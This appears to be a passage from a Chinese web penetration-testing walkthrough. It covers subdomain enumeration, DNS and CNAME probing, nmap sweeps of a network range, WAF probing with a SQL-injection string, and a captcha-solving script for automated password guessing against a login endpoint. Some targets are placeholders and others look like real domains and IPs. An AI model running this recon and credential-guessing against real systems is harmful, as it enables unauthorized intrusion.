web安全检查步骤 方法
web安全检查步骤 方法
https://www.freebuf.com/fevents/485205.html
靶标清单给的是指向主站
curl -skI https://target-main.example.com
测试环境扔在不同的二级域名甚至一级域上
for sub in admin api app dev test demo manager console www m mail \
portal sso oa vpn git jenkins wiki erp crm cloud ops monitor static \
img cdn new old backup; do
echo -n “$sub.timidc.cn -> “
dig +short “$sub.timidc.cn” 2>/dev/null
done
第二层:DNS CNAME 泄露了内网
dig www.timidc.cn +short
dig www.timidc.cn +short CN
C段存活探测与CDN溯源
子域名和CNAME都扫出来之后,我多做了一个动作:C段存活探测。
既然主站IP是203.0.113.1,那同网段的其他主机可能也属于同一家厂商。
nmap -sn 101.33.73.0/24 —exclude 101.33.73.88 -T4 2>/dev/null | grep “Host is up”
反向查询:
dig -x 101.33.73.88 +short
WAF指纹识别也是资产发现阶段必须做的。对主站和Demo分别测试:
测试主站是否有WAF
$ curl -sk “https://target-main.example.com/?id=1%20AND%201=1“
HTTP/2 200
正常返回,无WAF拦截
站点都没有WAF。这是个重要信息——意味着如果找到SQL注入或者命令执行,不需要考虑WAF绕过的额外成本。
测试数据
curl -sk -X POST “https://target-demo.example.com/Ecard/Main/Common/GetRsaKey“ \
-d “json=true” -H “X-Requested-With: XMLHttpRequest”
识别验证码 ,验证码是纯数字图片,4位数字,蓝底白字。用 ddddocr 可以稳定识别:
import ddddocr
ocr = ddddocr.DdddOcr()
def get_captcha(session):
r = session.get(
“https://target-demo.example.com/Ecard/Main/Common/GetValidateCode“,
params={“r”: “0.1”}
)
return r.content
captcha_img = get_captcha(session)
captcha = ocr.classification(captcha_img)
清理非数字字符
captcha = re.sub(r’[^0-9]’, ‘’, captcha)
登录测试与受阻
自动化脚本写好了,开始上密码。登录接口的请求格式是form-urlencoded套一层JSON:
$ curl -sk -X POST “https://target-demo.example.com/Ecard/Main/Account/Login“ \
-H “Content-Type: application/x-www-form-urlencoded” \
-H “X-Requested-With: XMLHttpRequest” \
-d ‘json={“LoginType”:”Account”,”UserName”:”<RSA加密user>“,”Password”:”<RSA加密pass>“,”ValiCode”:”验证码”,”Key”:”<KeyID>“}’
